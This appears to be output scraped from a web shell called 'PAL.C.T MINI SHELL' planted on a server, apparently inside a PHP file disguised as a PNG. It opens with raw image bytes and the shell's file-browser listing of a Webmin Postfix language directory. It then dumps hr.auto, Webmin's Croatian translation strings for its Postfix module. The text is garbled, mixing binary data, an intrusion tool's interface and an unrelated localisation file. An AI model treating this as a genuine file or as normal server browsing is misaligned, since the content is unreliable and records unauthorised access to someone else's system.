php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/hr.auto

connect_emysql=Nije uspio učitavanje pogonitelja baze podataka $1
connect_elogin=Nije uspjela prijava u bazu podataka $1:$2.
index_title=Poslužitelj poštanskih pošta
index_epath=Naredba Postfix kontrole $1 nije instalirana na vašem sustavu. Možda je vaša konfiguracija <a href='$2'>modula</a> netočna ili Postfix nije instaliran.
index_postfix=Postfix

internal_error=Unutarnja greška
index_econfig=Naredba Postfix config $1 ne postoji. Možda je vaša konfiguracija <a href='$2'>modula</a> netočna.
index_esuper=Naredba nadzornika Postfix $1 ne postoji. Možda je vaša konfiguracija <a href='$2'>modula</a> netočna.
index_stop=Zaustavi Postfix
index_start=Pokrenite Postfiks
index_reload=Učitaj ponovo konfiguraciju
index_stopmsg=Kliknite ovaj gumb kako biste zaustavili pokretanje poslužitelja Postfix pošte. Ovo će spriječiti isporuku pošte lokalnim korisnicima iz drugih sustava i spriječit će klijente da koriste ovaj sustav kao poslužitelja pošte da šalju poštu.
index_startmsg=Kliknite ovaj gumb za pokretanje Postfix poslužitelja pošte. Dok to ne učinite, pošta neće biti isporučena lokalnim korisnicima iz drugih sustava, a klijenti neće moći koristiti ovaj sustav kao poslužitelj pošte.
index_reloadmsg=Kliknite ovaj gumb kako bi Postfix ponovo pročitao sve njegove konfiguracijske datoteke. Ovo može biti korisno ako su konfiguracijske datoteke Postfix ručno izmijenjene.
index_version=Verzija postfiksa $1
opts_err=Spremanje opcija nije uspjelo

check_error=Pogreška prilikom provjere trenutne konfiguracije Postfix-a. Ručno ispravite Postfix konfiguraciju.
check_manual=Ručno uredite konfiguracijsku datoteku Postfix.

address_rewriting_title=Prepisivanje adresa i maskiranje
address_rewriting_ecannot=Nije vam dopušteno uređivanje prepisivanja adresa i maskiranja
aliases_title=Aliases za poštu
aliases_ecannot=Nije vam dopušteno uređivanje aliasa
aliases_no_alias_file=Nema alias datoteke
aliases_failed_delete=Brisanje aliasa nije uspjelo: $1
aliases_cant_write=Ne mogu pisati u alias datoteku
aliases_cant_read=Ne mogu se čitati u alias datoteci
aliasopts_title=Opcije aliasa
aliases_internal_error=Aliases: unutarnja pogreška
edit_alias_title=Uredi pseudonim
alias_save=Spremi pseudonim
alias_save_err=Spremanje aliasa nije uspjelo
alias_delete_create=Želite izbrisati pseudonim koji trenutno stvarate !?
delete_alias=Izbriši pseudonim
aliases_click=Kliknite bilo koji nadimak da biste uredili njegova svojstva:
aliases_addr=Pseudonim od ..
aliases_to=Alias za ..
aliases_type1=Adresa $1
aliases_type2=Adrese u datoteci $1
aliases_type3=Datoteka $1
aliases_type4=Program $1
aliases_type5=Automatski odgovori datoteku $1
aliases_type6=Primijeni datoteku filtra $1
aliases_none=nijedan
aliases_delete=Izbrišite odabrana imena

postfinger_title=Provjera konfiguracije
postfinger_show=Pokazati
postfinger_ecannot=Ne možete provjeriti Postfix konfiguraciju

mailclean_title=Očistite poštu pošte
mailclean_ecannot=Nema privilegija za čišćenje MailQueues-a
mailclean_active=Aktivno-Red
mailclean_incoming=Dolazni-Red
mailclean_deferred=Odgođeno-Red
mailclean_defer=Odgodi-Red
mailclean_all=Svi redovi
mailclean_search=Ključna-String

aform_type0=nijedan
aform_type1=Email adresa
aform_type2=Adrese u datoteci
aform_type3=Napišite u datoteku
aform_type4=Feed u program
aform_type5=Automatski odgovor iz datoteke
aform_type6=Primjeni datoteku filtra
aform_edit=Uredi pseudonim
aform_create=Stvorite pseudonim
aform_name=Adresa
aform_enabled=Omogućeno?
aform_val=Alias to
aform_afile=Uredi ..
aform_return=pseudonim
aform_cmt=Opis

asave_err=Spremanje aliasa nije uspjelo
asave_eaddr='$1' nije valjana adresa
asave_ealready=Alias za "$1" već postoji
asave_etype1='$1' nije valjana adresa e-pošte
asave_etype2=Datoteka s adresama '$1' nije valjana ili ne postoji
asave_etype3='$1' nije valjano ime datoteke
asave_etype4='$1' nije važeći program ili ne postoji
asave_etype5=Datoteka za automatsko odgovaranje '$1' nije valjana
asave_etype4none=Nije dat program
asave_etype6=Datoteka filtra "$1" nije valjana

afile_title=Uredi datoteku adresa
afile_desc=Područjem teksta u nastavku uredite adrese u datoteci $1.
afile_efile=Nije vam dopušteno uređivanje $1.
afile_undo=Poništi promjene
afile_ewrite=Pisanje u datoteku adresa nije uspjelo : $1

ffile_title=Uredi datoteku filtra
ffile_desc=Upotrijebite donji obrazac za postavljanje pravila filtra u datoteci $1.
ffile_efile=Nije vam dopušteno uređivanje $1.
ffile_line=Ako je polje $1 $2 $3, onda proslijedite $4
ffile_from=iz
ffile_to=do
ffile_subject=predmet
ffile_cc=CC
ffile_body=tijelo
ffile_what0=ne podudara se
ffile_what1=šibice
ffile_other=Inače proslijedite na $1
ffile_err=Spremanje datoteke filtra nije uspjelo
ffile_ematch=Nedostaje utakmica
ffile_eaction=Nedostaje adresa za prosljeđivanje

rfile_title=Uređivanje datoteke Automatski odgovor
rfile_desc=Područje teksta u nastavku uredite automatsku poruku u $1. Poruka može sadržavati makronaredbe $SUBJECT, $FROM, $TO, $DATE i $BODY koje će se proširiti kad je aktivirano automatsko odgovaranje.
rfile_desc2=Možete postaviti i zaglavlja e-pošte koja dodaju ili zamjenjuju zadane postavke korištene u automatskom odgovoru stavljanjem redaka poput: <br><tt> Od: foo@bar.com </tt><br> <tt>Tema: Na odmor</tt> <br> na vrhu poruke, odvojen od tijela jednim praznim retkom.
rfile_efile=Nije vam dopušteno uređivanje $1.
rfile_undo=Poništi promjene
rfile_replies=Želite li pratiti odgovore da biste spriječili petlje e-pošte?
rfile_none=Ne
rfile_file=Da, koristeći datoteku dnevnika
rfile_period=Minimalni interval između odgovora
rfile_default=Zadano (1 sat)
rfile_secs=sekundi
rfile_ereplies=Nedostaje datoteka dnevnika praćenja odgovora
rfile_eperiod=Nedostaje ili nevažeći broj sekundi između odgovora
rfile_no_autoreply=Ne šaljite automatske odgovore na
rfile_from=Od: adresa za odgovor
rfile_auto=Automatski (na temelju adrese primatelja)
rfile_efrom=Nedostaje: adresa
rfile_fromdesc=O: Od adrese: uvijek treba navesti gdje je to moguće, jer automatska metoda možda nije pouzdana.

general_title=Opće mogućnosti
general_title_sensible=Najkorisnije opće opcije
general_title_others=Ostale opće mogućnosti
general_ecannot=Nije vam dopušteno uređivanje Općih opcija
what_is_it=Što je?

opts_default=Zadano
opts_none=nijedan
opts_nomap=Nije postavljena karta
opts_setmap=Specifikacije karte
opts_relayhost=Pošaljite odlaznu poštu putem hosta
opts_direct=Isporučite izravno
opts_myorigin=Koju domenu koristiti u odlaznoj pošti
opts_myorigin_as_myhostname=Koristite ime računala
opts_myorigin_as_mydomain=Koristite naziv domene
opts_mydestination=Za koje domene primati poštu
opts_mydestination_default=Lokalni stroj
opts_mydestination_domainwide=Cijela domena
opts_notify_classes=Kakve nevolje prijaviti poštaru
opts_notify_classes_sel=Odabrano je u nastavku
opts_queue_directory=Imenik reda čekanja
opts_mail_owner=Vlasnik pošte
opts_default_privs=Zadana prava dobavljača
opts_inet_interfaces=Mrežna sučelja za primanje pošte
opts_all_interfaces=svi

opts_local_recipient_maps=Odbijte nepoznate lokalne korisnike
opts_no=Ne
opts_save=Spremite i primijenite
opts_edir=Dopušteno vam je samo određivanje datoteka s mapama pod $1

opts_allow_percent_hack=Prepišite "user%domain" u "user@domena"
opts_append_at_myorigin=Prepiši "user" u "user@$mydomain"
opts_append_dot_mydomain=Prepišite "user@host" u "user@host.$mydomain"
opts_empty_address_recipient=Pošalji poštu s praznim primateljem na. ..
opt_empty_recip_default=Zadano
opts_swap_bangpath=Prepišite "site! User" u "user @ site"
opts_masquerade_domains=Maskiranje adresa
opts_masquerade_exceptions=Maskiranje izuzetaka
index_return=Konfiguracija postfiksa

opts_alias_maps=Alias baze podataka koje koristi lokalni agent za dostavu
opts_alias_database=Alias baze podataka izgrađene naredbom "newaliases"
aliases_warning=Upozorenje: <ul><li> kada prvo polje nije prazno, zadana naredba generiranja aliasa Postfix koristi se za izgradnju odgovarajućih baza podataka; <li>else upotrebljava se naredba kompatibilnosti Sendmaila "newaliases", to će koristiti baze podataka drugog polja.</ul>

aliases_name=Ime
aliases_value=Alias za. ..

new_alias=Izradite novi pseudonim
new_aliasmsg=Kliknite ovaj gumb da biste stvorili novi pseudonim

local_delivery_ecannot=Nije vam dopušteno uređivanje lokalnih opcija isporuke
local_delivery_title=Lokalna dostava
opts_local_transport=Naziv prijevoza za lokalne isporuke
opts_local_transport_local=lokalne
opts_local_command_shell=Shell koristiti za dostavu vanjskoj naredbi
opts_local_command_shell_direct=Ništa (izravno izvršavanje naredbi)
opts_forward_path=Popis pretraživanja za naprijed
opts_allow_mail_to_commands=Vrijedi dostava pošte vanjskim naredbama
opts_allow_mail_to_files=Vrijedi dostava pošte u vanjske datoteke
opts_home_mailbox=Domaći relativni naziv datoteke datoteke korisničkog pretinca
opts_home_mailbox_default=Ništa (koristite standardni <tt>/var/something</tt>)
opts_luser_relay=Odredišna adresa za nepoznate primatelje
opts_luser_relay_none=Ništa (odskočna pošta)
opts_mail_spool_directory=Imenik kalema
opts_mailbox_command=Vanjska naredba za korištenje umjesto isporuke poštanskog sandučića
opts_mailbox_command_none=nijedan
opts_mailbox_transport=Izborni stvarni prijevoz koji se koristi
opts_mailbox_transport_none=nijedan
opts_fallback_transport=Izborni prijevoz za nepoznate primatelje
opts_fallback_transport_none=nijedan
opts_local_destination_concurrency_limit=Maksimalni broj paralelnih isporuka istom lokalnom primatelju
opts_local_destination_recipient_limit=Maksimalan broj primatelja po lokalnoj isporuci poruka
opts_local_destination_recipient_limit_default=Zadano
opts_prepend_delivered_header=Dodajte <tt>Isporučeno za:</tt> kada. ..
opts_prepend_delivered_header_default=Zadano

resource_title=Opća kontrola resursa
resource_ecannot=Nije vam dopušteno uređivanje parametara kontrole resursa
opts_bounce_size_limit=Maksimalna veličina odbijene poruke
opts_command_time_limit=Maksimalno vrijeme za isporuku vanjskim naredbama
opts_default_process_limit=Maksimalni broj podređenih postupaka Postfix
opts_deliver_lock_attempts=Maks pokušava dobiti zaključavanje datoteke
opts_deliver_lock_delay=Vrijeme u sekundama između pokušaja zaključavanja datoteke
opts_duplicate_filter_limit=Maks. Broj adresa koje se pamti po duplikatnom filtru
opts_fork_attempts=Max pokušava razviti proces
opts_fork_delay=Vrijeme u sekundama između pokušaja vilice
opts_header_size_limit=Maksimalna memorija koja se koristi za obradu zaglavlja
opts_line_length_limit=Maksimalna memorija koja se koristi za rukovanje ulaznim linijama
opts_mailbox_size_limit=Maksimalna veličina poštanskog sandučića
opts_message_size_limit=Maksimalna veličina poruke
opts_qmgr_message_active_limit=Maksimalni broj poruka u aktivnom redu
opts_qmgr_message_recipient_limit=Maks. Broj primatelja u memoriji
opts_queue_minfree=Min. Slobodnog prostora u datotečnom sustavu čekanja
opts_stale_lock_time=Maksimalno vrijeme nakon kojeg se otpušta ustajalo zaključavanje
opts_transport_retry_time=Vrijeme u sekundama između pokušaja kontaktiranja slomljenog MDT-a

opts_always_bcc=Adresa koja prima bcc svake poruke
opts_always_bcc_none=nijedan
opts_daemon_timeout=Istek vremena za rješavanje zahtjeva
opts_default_database_type=Zadana vrsta baze podataka
opts_default_transport=Zadani prijevoz za dostavu poruka
opts_double_bounce_sender=Adresa pošiljatelja za povratnu poštu
opts_hash_queue_depth=Broj razina poddirke ispod dir čekanja
opts_hash_queue_names=Naziv rednih redova podijeljen je na poddire
opts_hopcount_limit=Maksimalni broj primljenih <tt>:</tt> zaglavlja
opts_ipc_idle=Neaktivno vrijeme nakon prekida internog IPC klijenta
opts_ipc_timeout=Istek vremena za I / O na internim komunikacijskim kanalima
opts_mail_name=Naziv sustava e-pošte
opts_mail_version=Verzija službenog poštanskog sustava
opts_max_idle=Vrijeme je za pričekati sljedeći zahtjev za uslugom
opts_max_use=Maksimalni zahtjevi za usluge obrađeni su prije izlaska
opts_mydomain=Naziv lokalne internetske domene
opts_mydomain_default=Zadano (pruža sustav)
opts_myhostname=Internetsko ime domaćina ovog poštanskog sustava
opts_myhostname_default=Zadano (pruža sustav)
opts_mynetworks=Lokalne mreže
opts_mynetworks_default=Zadano (sve priključene mreže)
opts_mynetworks_style=Automatske lokalne mreže
opts_mynetworks_subnet=Ista IP podmreža
opts_mynetworks_class=Ista mrežna klasa
opts_mynetworks_host=Samo lokalni stroj
opts_bounce_notice_recipient=Pošalji obavijest poštarima na povratku na. ..
opts_2bounce_notice_recipient=Pošalji obavijest za poštare 2bounce na. ..
opts_delay_notice_recipient=Pošalji poruku poštara na odgodu. ..
opts_error_notice_recipient=Pošalji pogrešku poštaru na pogrešku. ..
opts_process_id_directory=Zaključaj datoteku dir, u odnosu na red dir
opts_program_directory=Programi podrške za Postfix i demoni dir
opts_recipient_delimiter=Korisnička imena / proširenja adresa separatora
opts_relocated_maps_default=Zadano (onemogućeno)
opts_sun_mailtool_compatibility=Onemogućite zaključavanje datoteke kernel na poštanskim sandučićima
opts_trigger_timeout=Maksimalno vrijeme za slanje okidača demonu
opts_delay_warning_time=Vrijeme u satima prije slanja upozorenja da nema isporuke
opts_delay_warning_time_default2=Zadani postfiks
opts_content_filter_default=nijedan

smtpd_title=Opcije SMTP poslužitelja
smtpd_ecannot=Nije vam dopušteno uređivanje opcija SMTP poslužitelja
opts_disable_vrfy_command=Onemogući SMTP VRFY naredbu
opts_smtpd_banner=SMTP čestitka
opts_smtpd_etrn_restrictions=Ograniči naredbu ETRN na. ..
opts_smtpd_recipient_limit=Maksimalan broj primatelja prihvaćenih za isporuku
opts_smtpd_timeout=Vrijeme je isteklo u sekundi za SMTP transakcije
opts_smtpd_error_sleep_time=Istek vremena prije slanja odgovora na pogrešku 4xx / 5xx
opts_smtpd_soft_error_limit=Broj pogrešaka za privremeno zanemarivanje klijenta
opts_smtpd_hard_error_limit=Broj pogrešaka zbog zatvaranja veze
opts_smtpd_client_restrictions=Ograničenja na imena / adrese klijenta
opts_smtpd_helo_required=HELO je potreban
opts_smtpd_helo_restrictions=Ograničenja za slanje u naredbama HELO
opts_smtpd_sender_restrictions=Ograničenja na adrese pošiljatelja
opts_smtpd_recipient_restrictions=Ograničenja na adrese primatelja
opts_allow_untrusted_routing=Dopusti nepouzdano usmjeravanje
opts_maps_rbl_domains=DNS domene za pretraživanje na crnoj listi
opts_relay_domains=Ograničite prenošenje pošte
opts_relay_recipient_maps=Karta za dopuštene adrese za prenošenje
opts_access_map_reject_code=Odgovor SMTP poslužitelja na kršenje karte pristupa
opts_invalid_hostname_reject_code=Odgovor SMTP poslužitelja na nevaljano odbacivanje imena hosta
opts_maps_rbl_reject_code=Odgovor SMTP poslužitelja na kršenje domena RBL
opts_reject_code=Odgovor SMTP poslužitelja na zahtjev klijenta
opts_relay_domains_reject_code=Odgovor SMTP poslužitelja na zabranjeno prebacivanje
opts_unknown_address_reject_code=Odgovor SMTP poslužitelja na odbijanju nepoznate domene
opts_unknown_client_reject_code=Odgovor SMTP poslužitelja na nepoznatom klijentu odbije
opts_unknown_hostname_reject_code=Odgovor SMTP poslužitelja na nepoznato ime računala odbacuje
smtpd_nomap=Još nije upisana karta dopuštenih adresa za prenošenje.
smtpd_nomap2=Još nije upisana karta za ograničenja adresa pošiljatelja.
smtpd_map=Dopuštene adrese za prenošenje
smtpd_map2=Ograničenja na adrese pošiljatelja

smtp_title=Opcije SMTP klijenta
smtp_ecannot=Nije vam dopušteno uređivanje opcija SMTP klijenta
opts_best_mx_transport=Akcija kada je navedena kao najbolji MX domaćin
opts_best_mx_transport_default=Zadano (poruka odskoka)
opts_fallback_relay=Domaćini / domene kojima će se predati pošta na nevažećem odredištu
opts_ignore_mx_lookup_error=Zanemari pogrešku prilikom pretraživanja MX-a
opts_smtp_skip_4xx_greeting=Preskočite 4xx pozdrav
opts_smtp_skip_quit_response=Preskočite čekanje naredbe QUIT
opts_smtp_destination_concurrency_limit=Maksimalni broj paralelnih isporuka do istog odredišta
opts_smtp_destination_recipient_limit=Maksimalan broj primatelja po isporuci
opts_smtp_connect_timeout=Istek vremena dovršetka TCP veza
opts_smtp_helo_timeout=Istek vremena čekanja na čestitku
opts_smtp_mail_timeout=Istek vremena čekanja na odgovor na MAIL FROM
opts_smtp_rcpt_timeout=Istek vremena čekanja na odgovor na RCPT TO
opts_smtp_data_init_timeout=Istek vremena čekanja na odgovor na DATA
opts_smtp_data_xfer_timeout=Istek vremena čekanja na odgovor za prijenos sadržaja poruke
opts_smtp_data_done_timeout=Vrijeme čekanja na čekanje odgovora do kraja ".
opts_smtp_quit_timeout=Istek vremena čekanja na odgovor na QUIT
opts_smtp_use_tls=Koristite TLS za SMTP veze
opts_smtp_sasl_security_options=SASL sigurnosne opcije
opts_smtp_tls_security_level=SMTP TLS razina sigurnosti klijenta

rate_title=Stope isporuke
rate_ecannot=Nije vam dopušteno uređivanje opcija stope isporuke
opts_default_destination_concurrency_limit=Maksimalni broj paralelnih isporuka do istog odredišta
opts_default_destination_recipient_limit=Maksimalan broj primatelja po isporuci poruke
opts_initial_destination_concurrency=Početna razina istodobnosti za isporuku do istog odredišta
opts_maximal_backoff_time=Maksimalno vrijeme (sekunde) između pokušaja isporuke odgođene poruke
opts_maximal_queue_lifetime=Maksimalno vrijeme (dani) u redu prije poruke ne može se isporučiti
opts_minimal_backoff_time=Min vrijeme (sekunde) između pokušaja isporuke odgođene poruke
opts_queue_run_delay=Vrijeme (s) između skeniranja odgođenog reda čekanja
opts_defer_transports=Prijevoza koji se ne smiju isporučiti

debug_title=Značajke uklanjanja pogrešaka
debug_ecannot=Nije vam dopušteno uređivanje značajki za uklanjanje pogrešaka
opts_debug_peer_list=Popis obrazaca domene / mreže za koje je omogućen detaljan zapisnik
opts_debug_peer_level=Razina detaljne evidencije kod podudaranja s gornjim popisom
debug_version=Postfix modul za Webmin - verzija $1
opts_edebug=Nedostaje ili nevaljana razina zapisovane verbose - mora biti broj veći od nule

ldap_title=LDAP pretrage
ldap_ecannot=Nije vam dopušteno uređivanje opcija pretraživanja LDAP
ldap_non_existent=Čini se da LDAP ne postoji u vašem Postfix sustavu
opts_ldap_lookup_timeout=Istek vremena pretraživanja baze podataka LDAP
opts_ldap_search_base=LDAP baze podataka za pretraživanje
opts_ldap_server_host=Naziv glavnog računala LDAP poslužitelja

canonical_title=Kanonsko preslikavanje
canonical_ecannot=Nije vam dopušteno uređivanje kanonske konfiguracije mapiranja
opts_canonical_maps=Tabele pretraživanja mapiranja adresa
opts_recipient_canonical_maps=Tablice za adrese primatelja
opts_sender_canonical_maps=Tablice za adrese pošiljatelja
edit_canonical_maps=Uređivanje kanonskih karata
edit_recipient_canonical_maps=Uređivanje kanonskih karata primatelja
edit_sender_canonical_maps=Uređivanje kanonskih pošiljatelja pošiljatelja
edit_canonical_maps_general=Kliknite jedan od tih gumba za uređivanje kanonskih karata.
canonical_edit_title=Uređivanje kanonske karte
canonical_return_sender=pošiljateljeve kanonske karte
canonical_return_recipient=primatelje kanonske karte
canonical_return=kanonske karte

mapping_name=Ime
mapping_value=Karte za. ..
mapping_delete=Obriši odabrano
mapping_cmt=Opis
mapping_ecannot=Mape možete uređivati samo pod $1
new_mapping=Dodajte novo preslikavanje.
new_mappingmsg=Kliknite ovaj gumb da biste stvorili novo preslikavanje
new_manual=Ručno uredite kartu
new_manualmsg=Kliknite ovaj gumb da biste ručno uredili datoteke iz kojih je izgrađena ova karta.
map_save=Spremi preslikavanje
delete_map=Izbriši preslikavanje
edit_map_title=Uredi kartu
map_save_err=Pogreška prilikom spremanja mapiranja
mapps_no_map_file=Nije definirana datoteka karte
map_delete_failed=Brisanje karte nije uspjelo: $1
map_delete_create=Ne možete izbrisati kartu koju upravo kreirate
maps_internal_error=Mapa: unutarnja pogreška
maps_cant_write=Ne mogu pisati
help_map_format=Koji format trebam koristiti?
map_noname=Nedostaje ili nevažeće ime za mapiranje
map_cannot=Ta se karta ne može uređivati : $1
map_unknown=Webmin ne podržava vrstu karte $1
mapping_none=Još nisu definirana nijedna mapiranja ovog tipa.
mapping_toomany=Postoje $1 unosi na kartu, što je iznad ograničenja prikaza $2.
mapping_find=Prikaži podudaranja mapiranja:
mapping_search=traži
mapping_match=Unosi datoteke mape koji odgovaraju <tt>$1</tt> ..

virtual_title=Virtualne domene
virtual_ecannot=Nije vam dopušteno uređivanje konfiguracije mapiranja virtualnih domena
opts_virtual_maps=Tabele pretraživanja preslikavanja domena
opts_virtual_alias_maps=Tabele pretraživanja preslikavanja domena
opts_virtual_alias_domains=Domene za izvođenje virtualnog mapiranja
virtual_same=Iz tablica mapiranja domena
virtual_return=virtualne domene

transport_title=Transportno mapiranje
transport_ecannot=Nije vam dopušteno uređivanje konfiguracije transportnog mapiranja
opts_transport_maps=Tablice za pretraživanje mapiranja prijevoza
transport_return=karte prijevoza

sni_title=Kartiranje certifikata
sni_ecannot=Nije vam dopušteno uređivati konfiguraciju preslikavanja certifikata
opts_sni_maps=Tablice pretraživanja mapiranja certifikata
sni_return=karte certifikata
sni_dom=Ime hosta
sni_certs=Datoteke certifikata

relocated_title=Premješteno preslikavanje
relocated_ecannot=Nije vam dopušteno uređivanje konfiguracije premještenog mapiranja
relocated_return=premještene karte
opts_relocated_maps=Premještene tablice za pretraživanje preslikavanja
opts_content_filter=Filter sadržaja e-poštom

map_click=Kliknite bilo koje preslikavanje da biste uredili njegova svojstva:
no_map=(Trenutno nije definirana nijedna karta. Prvo definirajte kartu, a zatim je možete urediti)
no_map2=Trenutno nije definirana nijedna karta. Prvo definirajte kartu, a zatim je možete urediti.

stop_efailed=Zaustavljanje Postfiksa nije uspjelo
stop_ecannot=Ne možete zaustaviti Postfix

start_efailed=Nije uspio pokrenuti Postfix
start_ecannot=Ne možete pokrenuti Postfix

reload_efailed=Ponovno učitavanje Postfiksa
reload_ecannot=Ne možete ponovno učitati Postfix

query_get_efailed=Nije uspjelo upit naredbe Postfix config da dobije trenutnu vrijednost parametra $1: <tt>$2</tt>
query_set_efailed=Nije uspjelo upit naredbe Postfix config da postavi trenutnu vrijednost parametra $1 za $2: <tt>$3</tt>
regenerate_ecannot=Nije vam dopušteno regenerirati alijase
regenerate_alias_efailed=Nije uspjela regeneracija aliasa: <tt>$1</tt>
regenerate_table_efailed=Nije uspjelo regeneriranje tablice $1: <tt>$2</tt>

acl_resource=Mogu li uređivati resurse?
acl_aliases=Mogu li uređivati pseudonimije?
acl_aliases_options=Mogu li uređivati opcije aliasa?
acl_general=Može li se uređivati opće opcije?
acl_address_rewriting=Može li se uređivati prepisivanje adresa?
acl_canonical=Može li se uređivati kanonski?
acl_virtual=Može li se uređivati virtualno?
acl_transport=Može li se urediti prijevoz?
acl_sni=Može li uređivati certifikate?
acl_relocated=Može li se uređivanje preseliti?
acl_header=Mogu li uređivati čekove zaglavlja?
acl_local_delivery=Možete li urediti lokalnu dostavu?
acl_smtpd=Može li se urediti smtpd?
acl_sasl=Može li se urediti provjera autentičnosti SMTP?
acl_client=Mogu li urediti ograničenja SMTP klijenta?
acl_smtp=Može li se urediti smtp?
acl_rate=Može li se uređivati stopa?
acl_debug=Možete li urediti pogrešku?
acl_ldap=Možete li urediti ldap?
acl_master=Mogu li uređivati procese na poslužitelju?
acl_startstop=Može li pokrenuti i zaustaviti postfiks?
acl_mailq=Možete li upravljati redom e-pošte?
acl_boxes=Može li čitati e-poštu korisnika?
acl_postfinger=Može li provjeriti konfiguraciju postfiksa?
acl_manual=Može li urediti datoteku config?
acl_dir=Dopušten direktorij za datoteke s mapama
acl_bcc=Može li se urediti BCC mapiranje?

boxes_title=Korisničke poštanske sandučiće
boxes_user=Korisnik
boxes_size=Veličina poštanskog sandučića
boxes_none=Nema pošte
boxes_return=pretinaca
boxes_sent=Poslana pošta
boxes_ecannot=Nije vam dopušteno čitati e-poštu
boxes_toomany=Na vašem sustavu ima previše korisnika da bi popisali sve svoje poštanske sandučiće.
boxes_go=Pogledajte poštu za korisnika:

mail_title=Korisnička adresa e-pošte
mail_from=Iz
mail_date=Datum
mail_subject=predmet
mail_to=Do
mail_cc=Kopija
mail_bcc=Skrivena kopija
mail_pri=Prioritet
mail_highest=Najviši
mail_high=visok
mail_normal=normalan
mail_low=nizak
mail_lowest=najniža
mail_for=U $1
mail_for2=Za korisnika $1
mail_sent=Na popisu poslanih poruka
mail_size=Veličina
mail_delete=Izbrisati
mail_compose=Sastaviti
mail_return=korisnički poštanski pretinac
mail_pos=Poruke $1 do $2 od $3
mail_none=Ovaj poštanski pretinac nema poruka
mail_ecannot=Nije vam dopušteno čitati e-poštu ovog korisnika
mail_all=Odaberi sve
mail_invert=Invert izbor
mail_search=Pronađi poruke gdje
mail_body=Tijelo
mail_match=šibice
mail_ok=traži
mail_nonefrom=nijedan
mail_mark=Označi kao:
mail_mark0=nepročitan
mail_mark1=Čitati
mail_mark2=poseban
mail_forward=Naprijed
mail_rfc=Iz linije
mail_move=Premjesti u:
mail_eexists=Poruka više ne postoji!

view_title=Pročitajte e-poštu
view_desc=Poruka $1 u $2
view_desc2=Poruka $1 za korisnika $2
view_desc3=Poruka $1
view_sent=Poruka $1 u popisu poslanih poruka
view_qdesc=Poruka u redu $1
view_headers=Zaglavlja e-pošte
view_allheaders=Pogledajte sva zaglavlja
view_noheaders=Pogledajte osnovne zaglavlja
view_attach=Prilozi
view_reply=Odgovor
view_reply2=Odgovoriti na sve
view_enew=Uredi kao novo
view_forward=Naprijed
view_delete=Izbrisati
view_flush=rumenilo
view_strip=Uklonite privitke
view_ecannot=Nije vam dopušteno čitati e-poštu ovog korisnika
view_mark=Označi poruku kao:
view_mark0=nepročitan
view_mark1=Čitati
view_mark2=poseban
view_return=originalnu e-poštu
view_sub=Priložena e-pošta
view_body=Tekst poruke
view_afile=Naziv privitka
view_atype=Vrsta privitka
view_aname=Privitak
view_asize=Veličina datoteke

compose_title=Sastavite e-poštu
reply_title=Odgovor na e-poštu
forward_title=Prosljeđivanje e-pošte
enew_title=Uređivanje e-pošte
reply_headers=Zaglavlja e-pošte
reply_attach=Proslijeđeni prilozi
reply_mailforward=Proslijeđene poruke
reply_attach2=Prilozi na strani klijenta i poslužitelja
reply_send=Poslati mail
reply_ecannot=Nije vam dopušteno slanje pošte kao ovog korisnika

send_err=Slanje pošte nije uspjelo
send_eto=Nedostaje adresa
send_efrom=Nedostaje s adrese
send_title=Poslano putem pošte
send_ok=Pošta je uspješno poslana na $1
send_ecannot=Nije vam dopušteno slanje pošte kao ovog korisnika
send_esmtp=Naredba SMTP $1 nije uspjela : $2
send_efile=Priložena datoteka $1 ne postoji
send_eattach=Prilozi ne mogu imati više od veličine $1 kB.
send_eperms=Korisnik $1 ne može čitati $2
send_eperms2=Nije vam dopušteno slanje datoteke $1
send_epath=Izvršni program Sendmail $1 ne postoji.
send_ewrapper=Program za sučelje poštanskog poštanskog sandučića ne postoji

search_title=Rezultati pretraživanja
search_ecannot=Nije vam dopušteno pretraživanje e-pošte ovog korisnika
search_ematch=Morate unijeti tekst za podudaranje.
search_efield=Morate odabrati vrstu pretraživanja.
search_none=Nisu pronađene poruke
search_results2=$1 poruke e-pošte koji odgovaraju $2 ..
search_results3=$1 poruke e-pošte ne odgovaraju $2 ..

match_from=Od: šibice
match_subject=Predmet: utakmice
match_to=Za: utakmice
match_cc=Cc: šibice
match_date=Datum: podudaranja
match_body=Utakmice tijela
match_size=Veličina je veća od
match_headers=Zaglavlja se podudaraju
match_=-----------------
match_!from=Od: ne odgovara
match_!subject=Predmet: ne podudara se
match_!to=Za: ne podudara se
match_!cc=Cc: ne podudara se
match_!date=Datum: ne podudara se
match_!body=Tijelo se ne podudara
match_!size=Veličina je manja od
match_!headers=Zaglavlja se ne podudaraju

mailq_title=Red čekanja
mailq_count=$1 poruke
mailq_none=Trenutno nijedna poruka e-pošte nije na redu za dostavu
mailq_id=ID pošte
mailq_date=Poslano
mailq_from=Iz
mailq_to=Do
mailq_cc=Kopija
mailq_subject=predmet
mailq_return=red čekanja
mailq_delete=Izbriši odabrane poruke
mailq_size=Veličina
mailq_ecannot=Nije vam dopušteno pregledati red čekanja
mailq_egone=Poruka više nije u redu za čekanje
mailq_status=Status
mailq_flush=Red ispisa pošte
mailq_flushdesc=Kliknite ovaj gumb kako biste prisilili trenutno isporučivanje svih poruka u redu i prikazali rezultate.
mailq_refresh=Osvježi red za poštu
mailq_refreshdesc=Ponovno učitajte ovu stranicu da biste prikazali trenutačno stanje reda čekanja.
mailq_deleteall=Očistite red čekanja
mailq_deletealldesc=Kliknite ovaj gumb za brisanje svih poruka iz reda čekanja.
mailq_search=Pronađi poruke u redovima čekanja
mailq_move=Zahtjev je izabran
mailq_incoming=dolazni
mailq_active=Aktivan
mailq_deferred=Odgođena
mailq_hold=Zadržite odabrano
mailq_unhold=Odabrano zadržite

flushq_title=Red ispiranja
flushq_desc=Prisiljavanje pokušaja isporuke pošte pomoću naredbe $1 ..

qview_title=Poruka u redu
qview_desc=Iz datoteke $1
qview_headers=Zaglavlja e-pošte
qview_attach=Prilozi

after_err=Pogreška u konfiguraciji postfiksa : $1

searchq_title=Rezultati pretraživanja u redu
searchq_none=Nije pronađena nijedna poruka u redu.

header_title=Provjera zaglavlja
header_ecannot=Ne možete uređivati čekove zaglavlja
